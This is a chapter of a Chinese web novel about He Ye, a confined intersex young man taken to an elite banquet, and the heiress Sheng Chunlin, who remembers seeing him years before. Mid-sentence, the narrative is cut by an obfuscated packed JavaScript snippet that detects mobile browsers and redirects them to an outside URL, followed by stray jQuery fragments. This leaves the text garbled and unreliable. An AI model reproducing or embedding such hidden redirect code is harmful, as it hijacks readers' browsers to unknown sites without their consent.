恬静的午后,何野从不算宽敞的屋子醒来。
他早已经忘记今天是几月几号,过了多久多久。
最开始他还是记得,但是时间不会放过每个人,回忆总让人痛苦。
何野胳膊上的烫伤早已恢复好,只是没有专业的医疗处理,伤口感染,还是留了疤。
红棕色的疤痕蜿蜒曲折爬在何野的小臂上,好在没什么突起,不算狰狞。
随着时间的流逝,疤痕的颜色早就浅了很多。
他尝试过逃离,却每次都被抓回来,有一次从楼上跳下去,不小心摔断了骨头,彻底断了他逃跑的念头。
何直应该已经在京利大学快读完研究生了,上次过年回来,看他很幸福的样子。
何野不再逃跑,不再反抗,何凡凡对他这样很满意,只是从来没说过要帮他做双性手术的事情。
无所谓。
最艰难的时刻,早已过去了。
何野并不渴求一定要成为某一性别的人,但他偶尔也想知道,如果自己的身体是正常的,那么是否一切都会不一样?
是否母亲就不会抛弃自己,何凡凡也不会这么不喜欢自己?
可能吧。
——咚咚
“小野,你醒着吗?”方佩茹站在何野门口敲了敲门。
“醒着,怎么了。”何野轻声回应,没有要下床开门的意思。
许是愧疚作祟,方佩茹这两年对他不算坏,摔坏骨头那次方佩茹还帮他叫了医生,但是何野再也没有办法叫她母亲了。
“这周五晚上七点你爸爸要去参加一个晚宴,你与我们一起去吧。”
“不了,我就不去了,你们去吧。”
何野对这些提不起一点兴趣,也知道自己本就不该与这些产生联系。
“听话,小野,这是你爸爸专门嘱咐我的,说要带你一起去。不用怎么准备,西装我给你买好。”
原来是通知。
何野自知反抗没有意义,也不想为难方佩茹。
“好,我知道了。”
过了一会,方佩茹的声音又从门外传来。
“小野,这次的晚宴,有许多名门会来,你多注意一些,留个心眼。”
何野明白话里的意思,但活着已经好辛苦,他不想再招惹任何人了。
宴会在市中心的恩雅大酒店进行。
临时购入的西服不算合身,穿在何野身上有些松垮,但好在无人在意。
何野从没来过这种地方,抑或是他已经很久没出过门了,看着穿着体面的人们,他下意识有些紧张。
宴会厅里面布置得璀璨照人,水晶灯从高处垂落下来,灯光洋洋洒洒落在恩雅大酒店的宴会厅里。
光尘里浮着香槟的甜香与冷调的木质香氛,鎏金雕花的廊柱旁,侍者们捧着银质托盘无声穿梭,擦得锃亮的高脚杯里,琥珀色的威士忌晃着涟漪,粉金色的香槟泡簌簌往上蹿。
叮的一声轻响,有人举杯欢笑,驾轻就熟。
杯壁相撞的声音混着交谈声钻进何野的耳朵里,陌生的目光在何野身上流转,他从来没见过这种场景,只能无声地往方佩茹身边挪了挪。
“别傻站着了,跟我过去敬酒。”何凡凡那股令人生厌的声音传来。
何凡凡视线扫过何野,微微皱眉,明显是对何野这样子不太满意。
今天的晚宴并非普通的宴会,而是一个说不出口的相亲市场,要求必须带适龄后辈参与宴会,何直不在家,只能先让何野来凑个数。
名门子弟聚在一起,各有各的心思。
但最重要的是,有小道消息传,盛家今天也会派人来参加,这是何凡凡最看重的。
盛家,上个世纪实业起家,如今成为横跨金融、科技、地产、娱乐的商业帝国,是站在金字塔顶尖的家族。长盛集团股市的一点波动,都能让整个行业跟着颤一颤。
盛家的每代继承人无一不是商业界的翘楚,总能踩中时代的风口,将家族企业守得固若金汤。
尤其是盛家这一辈出了一个盛春临,
眼光毒辣,手腕凌厉,是盛家年轻一代最优秀的继承人。
盛家老太太非常看重盛春临,从小便不遗余力地培养。盛春临读大学的时候就随家里长辈混迹于各种商业场,盛家更是直接为她打通商业界各种人脉。
本以为盛春临也只是吃盛家的老本,不过如此。
没想到盛春临三年读完大学,正式踏入商界仅两年,就为盛家拿下了海外智能科技类目的半壁江山,直接撬开了智能科技新类目蓝海市场的大门。
只要能跟盛家谈上合作或是扯上关系,那钱就是最容易得到的东西。
何野当然不懂何凡凡的这些小心思,只能抬起脚步麻木地跟着何凡凡走到人群之中。
放慢步伐,靠边站,何野尽量降低自己的存在感,他想逃离这个令人作呕的环境。
“怎么不说话?你张叔叔在跟你说话呢?”何凡凡开玩笑似的训斥着何野。
“罢了罢了,小朋友第一次来难免紧张,不要紧。”
“这孩子就是胆小,您别介意。这是您的千金吧,真是落落大方。”
见何野不说话,何凡凡在心里骂了一声,转过头赔笑。
“今年刚毕业,我也带她出来见见世面,诶,她俩是不是年纪差不多?”
“那可不,何直,多跟张小姐多聊聊,你们年轻人有话题。”
何凡凡这招狸猫换太子,让所有人都默认何野是他那个烂泥扶不上墙的养子何直。
何野抬头看面前的女孩,皮肤雪白,明眸善睐,这让他有些紧张,他从来没跟同龄女孩子有过交流,他自知自身的痛苦还未解决,不配拥有爱情。
他支支吾吾准备开口时,几乎是同一瞬间,原本人声鼎沸,酒杯碰撞的会场突然沉静下来,自然地往一个方向收拢。
人群的中心,女人穿着一身裁剪利落的黑色西装,搭配点睛的古董绿宝石链条胸针,短发利落地贴在耳后,一丝不苟,西装勾勒出她笔直的肩线与修长的身形,与宴会里部分浮夸的衣着形成了鲜明的对比。
鼻梁高挺,剑眉凌厉,一双狭长的丹凤眼,瞳孔竟是墨绿色,眼尾上挑,睫毛浓长,在这样一张冷漠的脸上显得反而有几丝妖冶。
高级西装的布料贴合得恰到好处,没有多余的装饰,线条干净而冷硬,对比起来,何野不自觉地攥紧手心里的西装袖子。
何野有些看呆了。
“是盛春临!”人群中有人惊叹道。
何凡凡也注意到,当即不再拉着何野敬酒,下意识整理了一下衣襟,换上殷切的表情,跟着人群就追随盛春临而去。
盛春临正微微侧头与身旁的男人交谈,两人关系似乎很是亲密,男人的胳膊时不时挽上盛春临。
一行人从何野身边快速走过,带走一阵清风,没有分给何野一丝眼神。
何野对盛家了解不算多,但宴会上的所见所感却让他心里泛起密密麻麻地涟漪。
他回家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153877|196488||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打开许久不用的浏览器,详细地查了盛春临的情况。
啊。
简直云泥之别。
何野叹了口气,强迫自己忘掉那墨绿色的眼眸。
——滴,
电子密码门被打开。
盛春临处理完工作凌晨才回到家,管家在休年假,她干脆让所有人都休息了,反正这个家,她也不怎么回。
不知怎么,今天她格外精神,泡澡后还没什么困意,给自己倒了杯红酒,她打开音乐坐在沙发上修身养神。
看着高脚杯底剩下的红酒,盛春临脑子里突然闪现前两天宴会上的场景。
本身这种宴会,接触的圈层有限,对于盛春临来说,没有参与的必要。
那天却不知怎么了,鬼使神差,应了盛行之的要求,陪着他去参加这个宴会。
盛行之是盛春临的表弟,盛家对于自己的后代均是宠溺。
但事业上传女不传男,也顺应了盛行之的性子,他本就只想一辈子陪在盛春临身边,哪也不要去。
盛春临宴会开始前便去了二楼,她虽然答应了盛行之陪他来,本意并不是让盛行之炫耀,她只想看着盛行之,不要弄出什么乱子。
这个表弟在盛春临面前总是乖巧,但实际活泼伶俐。
但没想到,会遇见他。
虽然过了五年,可盛春临还仍然记得,那年她才上大学,祖母为了锻炼她,把她一个人扔在边远的H市让她去谈生意。
毛头丫头心比天高,碰壁是自然的结果。
鹅毛大雪从天上砸下来,又轻飘飘地落在地上,盛春临一个人坐在车里等红灯,注视着车外的飞雪,眉毛拧作一团,心情很是郁闷。
谈不成就不用回去了。
盛春临是这样要求自己的。
深冬充斥着黑白灰服装的街道上,一个浅粉色的羽绒服溜进盛春临的视线。
粉色的羽绒服,颜色并不鲜亮,被雪衬得格外柔和,半长的款式裹在身上看起来很保暖。
他手里捧着一个冒热气的红薯,站在路灯下小口小口的咬着吃。
红薯的热气与他呼出的热气在空气中短暂纠缠而又被雪砸散。
应该是男人吧,头发说长不长说短不短,随意扫过脸颊。
女人似乎不会喜欢这种土了吧唧的发型。
盛春临的目光在他身上流转——
眉眼柔和,鼻梁高挺,睫毛上还飘着雪,头发长度有些潦草,但胜在脸实在美丽。
盛春临一时有些着迷,还想继续探寻,身后车辆的鸣笛声却打断了她的欣赏。
绿灯了,
一路绿灯。
那人被雪一点点吞没。
盛春临收回心绪,继续看向前方,思考着如何拿下那笔生意。
她没必要在无关紧要的人身上费心。
后来生意也是成功拿下。
可是,
为何再次见他,他却神色窘迫,穿着不合身的西装,在这样一个宴会上被一个老男人指指点点?
盛春临不自觉地皱眉,明明那样漂亮恬静的一个人变成这幅样子,真是让人不爽。
她观察了一会,好奇事情还会怎么发展。
又被骂了么?还要与其他女人聊天么?
懦弱。
一见盛春临起身,盛行之也赶紧跟了上去,两人一同出现在宴会上,自然是全场的焦点,何凡凡与何野之间的战火,也被悄然转移了。
这是盛春临想要的结果。